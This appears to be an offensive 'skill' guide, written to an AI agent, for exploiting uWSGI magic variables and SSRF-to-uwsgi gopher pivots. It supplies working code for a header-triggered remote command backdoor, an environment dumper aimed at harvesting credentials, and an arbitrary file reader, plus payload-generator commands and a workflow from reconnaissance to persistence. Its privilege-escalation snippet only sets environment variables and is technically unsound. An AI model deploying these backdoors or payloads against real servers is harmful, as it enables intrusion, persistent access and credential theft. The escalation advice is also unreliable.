Wsgi Pentesting

WSGI/uWSGI Post-Exploitation Skill

This skill helps you exploit WSGI/uWSGI misconfigurations for remote code execution, information disclosure, and persistence.

When to Use This Skill

Use this skill when:

• You've identified a WSGI/uWSGI backend behind a reverse proxy
• You have SSRF access to an internal uwsgi socket
• You need to exploit uWSGI magic variables for RCE
• You want to deploy persistent backdoors via WSGI
• You're investigating WSGI-related vulnerabilities

Core Attack Vectors

1. Magic Variable Exploitation

uWSGI magic variables are special parameters that control how the instance loads applications. If a proxy maps user input to uwsgi params, you can achieve RCE.

Key Exploitable Variables

Common Misconfigurations

Look for these dangerous nginx mappings:

# DANGEROUS: maps query args into uwsgi params
uwsgi_param UWSGI_FILE $arg_f;
# DANGEROUS: maps headers into uwsgi params  
uwsgi_param UWSGI_MODULE $http_x_mod;
# DANGEROUS: maps query args into callable
uwsgi_param UWSGI_CALLABLE $arg_c;

2. SSRF + uWSGI Protocol Pivot

If you have SSRF and the uWSGI instance listens on an internal TCP socket, you can craft raw uwsgi protocol packets via gopher.

Protocol Structure

Header (4 bytes):
  - modifier1 (1 byte): usually 0
  - datasize (2 bytes, little-endian): body length
  - modifier2 (1 byte): usually 0

Body:
  - Sequence of [key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]

Generate Gopher Payload

Use the bundled script to generate payloads:

python scripts/uwsgi_gopher_generator.py \
  --host 127.0.0.1 \
  --port 3031 \
  --uwsgi-file /app/profiles/malicious.py \
  --script-name /malicious.py

Or use the Python API:

from scripts.uwsgi_gopher_generator import generate_uwsgi_gopher

params = {
    'SERVER_PROTOCOL': 'HTTP/1.1',
    'REQUEST_METHOD': 'GET',
    'PATH_INFO': '/',
    'UWSGI_FILE': '/app/profiles/malicious.py',
    'SCRIPT_NAME': '/malicious.py'
}

url = generate_uwsgi_gopher('127.0.0.1', 3031, params)
print(url)

3. Post-Exploitation Techniques

File-Based Backdoor

Generate a backdoor with the bundled script:

python scripts/uwsgi_backdoor_generator.py \
  --output backdoor.py \
  --trigger-header X-CMD \
  --response-type text/plain

Or create manually:

# backdoor.py
import subprocess, base64

def application(environ, start_response):
    cmd = environ.get('HTTP_X_CMD', '')
    if cmd:
        result = subprocess.run(
            base64.b64decode(cmd),
            shell=True,
            capture_output=True,
            text=True
        )
        response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
    else:
        response = 'Backdoor active'
    start_response('200 OK', [('Content-Type', 'text/plain')])
    return [response.encode()]

Load it with:

UWSGI_FILE=/path/to/backdoor.py
SCRIPT_NAME=/backdoor

Environment Variable Dumping

# env_dump.py
import os, json

def application(environ, start_response):
    env_data = {
        'os_environ': dict(os.environ),
        'wsgi_environ': dict(environ)
    }
    start_response('200 OK', [('Content-Type', 'application/json')])
    return [json.dumps(env_data, indent=2).encode()]

File System Access

Combine UWSGI_CHDIR with a file-serving helper:

# file_browser.py
import os

def application(environ, start_response):
    path = environ.get('PATH_INFO', '/')
    try:
        if os.path.isdir(path):
            files = os.listdir(path)
            content = '\n'.join(files)
        else:
            with open(path, 'r') as f:
                content = f.read()
        start_response('200 OK', [('Content-Type', 'text/plain')])
        return [content.encode()]
    except Exception as e:
        start_response('500 Error', [('Content-Type', 'text/plain')])
        return [str(e).encode()]

4. Privilege Escalation

If uWSGI runs with elevated privileges:

# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

Or use UWSGI_SETENV to modify environment:

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;

Attack Workflow

Step 1: Reconnaissance

1. Identify if target uses WSGI/uWSGI
2. Check for exposed uwsgi sockets (common ports: 3031, 5000, 8000)
3. Look for SSRF vulnerabilities that can reach internal sockets
4. Fingerprint proxy configuration (nginx, Apache mod_proxy_uwsgi)

Step 2: Exploitation

1. If magic variables are exposed via HTTP:

   • Craft requests with controlled parameters
   • Use UWSGI_FILE to load attacker-controlled files
   • Use UWSGI_MODULE + UWSGI_CALLABLE for dynamic loading

2. If SSRF to uwsgi socket exists:

   • Generate gopher payload with scripts/uwsgi_gopher_generator.py
   • Set UWSGI_FILE to malicious payload
   • Send through SSRF sink

Step 3: Post-Exploitation

1. Deploy persistent backdoor
2. Dump environment variables for credentials
3. Access sensitive files
4. Escalate privileges if possible

Known Vulnerabilities

• CVE-2023-27522: Apache httpd 2.4.30–2.4.55 response smuggling with mod_proxy_uwsgi
• CVE-2024-24795: Apache httpd 2.4.59 HTTP response splitting

Check proxy versions and consider desync/smuggling as entry points.

References

• uWSGI Magic Variables Documentation
• uWSGI Security Best Practices
• The uwsgi Protocol (spec)